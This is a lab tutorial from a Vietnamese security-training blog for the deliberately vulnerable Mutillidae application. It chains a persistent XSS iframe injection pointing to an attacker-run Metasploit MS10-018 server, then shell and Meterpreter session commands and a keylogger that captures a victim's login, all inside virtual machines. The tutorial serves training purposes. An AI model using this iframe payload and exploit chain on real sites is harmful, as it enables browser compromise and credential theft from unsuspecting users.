Chuyển đến nội dung chính

Bài Hướng Dẫn Mutillidae : Lesson 16 - Persistent Covert Cross Site Scripting Injection with Metasploit #3

{ Persistent Covert Cross Site Scripting Injection with Metasploit #3 }

Section 0. Background Information
  • What is Mutillidae?
    • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
  • What is Metasploit?
    • The Metasploit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit frame work has the world's largest database of public, tested exploits. In simple words, Metasploit can be used to test the Vulnerability of computer systems in order to protect them and on the other hand it can also be used to break into remote systems.
     
  • What is the MS10-018 Exploit?
    • Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."
    • http://cvedetails.com/cve/2010-0806
  • What is a Persistent Cross Site Scripting Injection?
    • The persistent XSS vulnerability is a more devastating variant because the injection is actually permanently stored in the blog, message board, etc.
    • Imagine if a sensitive website had a poor designer did not test for injections.  A malicious person could simply put in a hidden cookie harvester script and sit back and watch there logs for SESSION cookies.
     
  • Pre-Requisite Lab
    1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora
      • Note: Remote database access has been turned on to provide an additional vulnerability.
    2. BackTrack: Lesson 1: Installing BackTrack 5
      • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
    3. BackTrack: Lesson 9: How To Install Firebug
      • Note: Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
  • Lab Notes
    • In this lab we will do the following:
      1. Due to a purposeful bug in the add-to-your-blog.php code, we will use a Persistent Cross Site Scripting Techniques to insert a Metasploit weblink that attacks IE6, IE7 on Windows NT, 2000, XP, 2003 or Vista.
      2. In the blog, we will insert the Metasploit link as a persistent XSS injection.
      3. We will demonstrate this XSS Injection, when a Windows XP-SP2 machine (running Internet Explorer 6) views the blog with the XSS injection.
      4. We will turn on Key Stroke Recorder.
      5. We will view the Key Stroke Recorder results.
  • Legal Disclaimer - bài hướng dẫn chỉ dùng cho môi trường học tập
Section 1. Configure Fedora14 Virtual Machine Settings
  1. Open Your VMware Player
    • Instructions:
      1. On Your Host Computer, Go To
      2. Start --> All Program --> VMWare --> VMWare Player
  2. Edit Fedora Mutillidae Virtual Machine Settings
    • Instructions:
      1. Highlight fedora14
      2. Click Edit virtual machine settings
  3. Edit Network Adapter
    • Instructions:
      1. Highlight Network Adapter
      2. Select Bridged
      3. Click the OK Button

Section 2. Login to Fedora14 - Mutillidae
  1. Start Fedora14 VM Instance
    • Instructions:
      1. Start Up VMWare Player
      2. Select Fedora14 - Mutillidae
      3. Play virtual machine
  2. Login to Fedora14 - Mutillidae
    • Instructions:
      1. Login: student
      2. Password: <whatever you set it to>.

Section 3. Open Console Terminal and Retrieve IP Address
  1. Start a Terminal Console
    • Instructions:
      1. Applications --> Terminal
  2. Switch user to root
    • Instructions:
      1. su - root
      2. <Whatever you set the root password to>
  3. Get IP Address
    • Instructions:
      1. ifconfig -a
    • Notes (FYI):
      • As indicated below, my IP address is 192.168.1.111.
      • Please record your IP address.

Section 4. Configure BackTrack Virtual Machine Settings
  1. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  2. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

Section 5. Play and Login to BackTrack
  1. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  2. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  3. Bring up the GNOME
    • Instructions:
      1. Type startx
Section 6. Open Console Terminal and Retrieve IP Address
  1. Start up a terminal window (On BackTrack5R1)
    • Instructions:
      1. Click on the Terminal Window
  2. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.112.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Mutillidae).

Section 7. Login to Damn Vulnerable WXP-SP2 (Victim Machine)
  1. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Damn Vulnerable WXP-SP2
      2. Edit Virtual Machine Settings
    • Note(FYI):
      1. This third Virtual Machine does not have to be Windows XP.  I just need to be another Virtual Machine to demonstrate how the cookie will be sent covertly with the victim knowing.
  2. Set Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Click on the radio button "Bridged: Connected directly to the physical network".
  3. Start Up Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Start Up your VMware Player
      2. Play virtual machine
  4. Logging into Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Username: administrator
      2. Password: <Provide the Password>
  5. Open a Command Prompt
    • Instructions:
      1. Start --> All Programs --> Accessories --> Command Prompt
  6. Obtain the IP Address
    • Instructions:
      1. In the Command Prompt type "ipconfig"
    • Note(FYI):
      • In my case, Damn Vulnerable WXP-SP2's IP Address 192.168.1.107.
      • This is the IP Address of the Victim Machine.
      • Record your IP Address.

Section 8. Start msfconsole
  1. Start msfconsole (On BackTrack5R1)
    • Instructions:
      1. msfconsole
    • Note(FYI):
      1. The msfconsole is the Metasploit Framework Console.
  2. Search for MS10-018
    • Instructions:
      1. search ms10_018
      2. use exploit/windows/browser/ms10_018_ie_behaviors
    • Note(FYI):
      1. This module exploits a use-after-free vulnerability within the DHTML behaviors functionality of Microsoft Internet Explorer versions 6 and 7. This bug was discovered being used in-the-wild and was previously known as the "iepeers" vulnerability. The name comes from Microsoft's suggested workaround to block access to the iepeers.dll file.
  3. Set Payload
    • Instructions:
      1. set PAYLOAD windows/shell/bind_tcp
      2. show options
  4. Set Required Variables
    • Note(FYI):
      • Replace 192.168.1.112 which your BackTrack's IP Address obtained from (Section 6, Step 2).
    • Instructions:
      1. set SRVHOST 192.168.1.112
      2. set URIPATH ms10_018.html
        • It is not necessary to set the URIPATH.  It is not necessary to use the name ms10_018_exploit.html.
      3. show options
  5. Start Exploit Server
    • Instructions:
      1. exploit
      2. Highlight the Link
      3. Right Click and Copy the Weblink (See Picture)
    • Note(FYI):
      • The aurora exploit is all set up.
      • The server is started and the daemon is listening.
Section 9. Open Mutillidae
  1. Open Firefox (On BackTrack5R1)
    • Instructions:
      1. Click on the Firefox Icon
    • Notes (FYI):
      • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
  2. Open Mutillidae
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
  3. Reset Database
    • Instructions:
      1. Click the Reset DB Link
    • Notes (FYI):
      • This link will remove the XSS Injection from the database.
  4. Proceed with Database Reset
    • Instructions:
      1. Click the OK Button
Section 10. Persistent Covert Cross Site Script(XSS)
  1. Add to your blog
    • Instructions:
      1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  2. Inspect Element
    • Instructions:
      1. Right Click in the Comment Box
      2. Click Inspect Element
    • Note(FYI):
      1. This is not a necessary step for the injection.  The goal is to allow the injection attempt to remain on the same line instead of being word-wrapped.
  3. Change Text Area Column Length
    • Instructions:
      1. Change 65 to 95
      2. Click Close Button (See Picture)
  4. Covert Metasploit Cross Site Script (XSS) Injection
    • Note(FYI):
      1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
      2. Everytime a users views all the Blog record, the malicious Metasploit link will be executed on the user's browser.
    • Instructions:
      1. Place the below text in the comment box.
        • <iframe src="http://192.168.1.112:8080/ms10_018.html"></iframe>
      2. Click the Save Blog Entry
  5. View Metasploit Covert Cross Site Script (XSS) Results
    • Note(FYI):
      1. Notice that is said URL Not Found.
      2. At first glance it looks like we screwed up.  (But did we?).
  6. View Metasploit Results
    • Instructions:
      1. Press Enter Once
      2. sessions -l
        • "-l" as in Larry.
    • Notes (FYI):
      1. The reason why the URL was not found in the previous step is because the exploit is geared for IE6, IE7 on Windows NT, 2000, XP, 2003 or Vista.

Section 11. Login to Mutillidae From Vulnerable Machine
  1. Start up Internet Explo[d]er (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Start --> All Programs --> Internet Explorer
  2. Open the Mutillidae Application
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
      2. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
  3. Show All Blog Entries
    • Instructions:
      1. Select Show All from drop down menu
      2. Click the View Blog Entries Button
  4. View the Metasploit Aurora Effect
    • Note(FYI):
      1. At first glance the status bar will appear to be loading, then it will just hang.
      2. In a few seconds, Internet Explo[d]er 6, will become un-responsive.
      3. Continue to Next Step.

Section 12. Activate Metasploit KeyStrokeLogger
  1. View Metasploit Connection (On BackTrack)
    • Instructions:
      1. Press Enter Once
      2. sessions -l
        • "-l" as in Larry
    • Note(FYI):
      1. Notice we now have a connection from BackTrack(192.168.1.112) to Damn Vulnerable WXP (192.168.1.107).
  2. Create New Meterpreter Session
    • Instructions:
      1. setg LHOST 192.168.1.112
        • This allows you to set the local host's IP address for the reverse communications needed to open the reverse command shell.
      2. sessions -u 1
        • "1" as in the number 1.
    • Note(FYI):
      1. Replace 192.168.1.112 with your BackTrack IP Address obtained from (Section 6, Step 2)
      2. The interpreter will start staging Meterpreter Payload Handler.
      3. Continue to Next Step.
  3. Interact with the Meterpreter Session
    • Instructions:
      1. Press <Enter> to get a prompt
      2. sessions -l
        • "-l" as in larry.
        • Notice there are now two sessions: (1) Shell and (2) Meterpreter.
      3. sessions -i 2
        • "-i" means to interact
  4. Activate the KeyLogRecorder
    • Instructions:
      1. run keylogrecorder
    • Note(FYI):
      • Notice the message that says the keystrokes are being saved to a file.
      • Record your file.

Section 13. Test Metasploit KeyLogRecorder
  1. Kill Hung Mutillidae Webpage (On Damn Vulnerable WXP-SP2)
    • Note(FYI):
      1. If your Internet Explorer session DOES NOT exists, then skill this step.
    • Instructions:
      1. tasklist /V | findstr "mutillidae"
        • Obtain the PID associated with the Mutillidae process.
        • In my case it is 3940.
      2. taskkill /F /PID 3940
        • For the killing of the process ID 3940. 
        • In your case, it will be different.
  2. Start up Internet Explo[d]er (On Damn Vulnerable WXP-SP2)
    • Instructions:
      1. Start --> All Programs --> Internet Explorer
  3. Open the Mutillidae Application
    • Notes (FYI):
      1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
    • Instructions:
      1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
        • Type each character to record each keystroke.
      2. Click Login/Register
  4. Login
    • Instructions:
      1. Name: samurai
      2. Password: samurai
      3. Click the Login Button
    • Notes(FYI):
      1. We are logging on to Mutillidae to simulate a user logging on to a real application.
      2. The goal is to capture keystrokes.

Section 14. View Metasploit KeyLogRecorder Log
  1. Stop the key logger recorder(On BackTrack)
    • Instructions:
      1. Copy Key Log Recorder File (See Picture)
      2. Press <Ctrl> and "c" to stop the keylogrecorder
  2. Start Another Terminal
    • Instructions:
      1. Click on the Terminal Icon
  3. View keylogrecorder File
    • Instructions:
      1. cat /root/.msf4/logs/scripts/keylogrecorder/*.txt
      2. Search for the mutillidae website
      3. Search for the username (samurai) and password (samurai)
    • Note(FYI):
      1. Its not the greatest logger, but it will do the job.
Section 15. Proof of Lab
  1. Proof of Lab, (On BackTrack5R1)
    • Instructions:
      1. ls -l /root/.msf4/logs/scripts/keylogrecorder/
      2. netstat -nao | egrep '(8080|4444)'
      3. date
      4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions:
      1. Do a PrtScn
      2. Paste into a word document
      3. Upload to website Www.AnToanThongTin.Edu.VN

Bài đăng phổ biến từ blog này

Tổng Hợp Về Tấn công XSS và Bypass

1-        XSS là gì ?        XSS(  Cross-Site Scripting ) là một trong những kỹ thuật hack website phổ biến nhất hiện nay bằng cách chèn vào url, chèn qua các thanh tìm kiếm hoặc chèn ở bất cứ 1 textbox nào những thẻ HTML hoặc những đoạn mã script nguy hiểm, từ đó chiếm quyền điều khiển của victim hoặc thực hiện những mệnh lệnh mà hacker đưa ra. 2-        Nguyên lý hoạt động XSS        Khi website đã bị chèn các thẻ html hay những đoạn mã script nghĩa là đã gửi các request từ máy client đến server  nhằm chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Khi người sử dụng click vào những link đó thì toàn bộ cookies, mật khẩu lưu trên trình duyệt được gửi về cho hacker qua email hoặc 1 file nào đó trên host đã được thiết lập từ trước hoặc bị dẫn tới 1 trang fishing mà hacker đã thiết lập từ trước hay bị cài đặt các chương trình virus, Trojan, backdoor trên máy victim tùy vào mệnh lệnh của hacker 3-        Phân loại XSS XSS Có 2 dạng, đó là:      +       Persistent +      Non-Pe

Hack the Pentester Lab: from SQL injection to Shell II (Blind SQL Injection)

Today we are going to perform penetration testing with part II of previous lab, download it from  here . Now install the iso image in VM ware and start it. In this lab task level is intermediate and challenge is to gain access of administration console and then upload a PHP webshell. Start Kali Linux then open the terminal and  type netdiscover  command for scanning network. Here  192.168.1.102  is my target IP which is shown in the screenshot. Now explore this IP in browser. When you will open target IP in browser you will get a web page having heading My Awesome Photoblog . On the top of left side it contains some tags: home; test; ruxcon; 2010; all pictures; admin. Now  Click  on  test . The given URL : http://192.168.1.102/cat.php?id=1  will run sql query for  ID 1  now let try to find out whether the above URL is vulnerable to sql injection or not by adding( ‘) apostrophe at last of URL: http://192.168.1.102/cat.php?id=1 ’ as it is not vulnerable. I didn’t get any error messa

CEH v9 (CEHVIETNAM.COM) - Hacking Metasploitable Lab

CEH v9 : Hacking Metasploitable VM In this guide, I will demonstrate how to root a Metasploitable 2 virtual machine. Metasploitable is an intentionally vulnerable Ubuntu machine. I’ll explore just a few of the many ways Metasploitable can be attacked, from vulnerabilities in common services to little known exploits and web vulnerabilities. I’ve set up Kali Linux and Metasploitable VMs in VirtualBox on the same network (bridged mode). Kali – 192.168.56.101 Metasploitable – 192.168.56.102 - Hãy thay IP của bạn cho thích hợp Contents   1 Footprinting 1.1 Ping 1.2 Traceroute 2 Scanning 2.1 Port Scanning 2.2 OS Fingerprinting 2.2.1 nmap 2.2.2 xprobe2 3 Enumeration 3.1 FTP (TCP 21) Enumeration 3.2 Telnet (TCP 53) Enumeration 3.3 SMTP (TCP 25) Enumeration 3.4 VNC (TCP 5900) Enumeration 3.5 X11 (TCP 6000) Enumeration 3.6 RLogin (TCP 513) Enumeration 3.7 IRC (TCP 6667) Enumeration 4 Exploitation 4.1 FTP Exploit 4.2 VNC Password Cracking 4.3 IRC Exploit 4.4 Share this: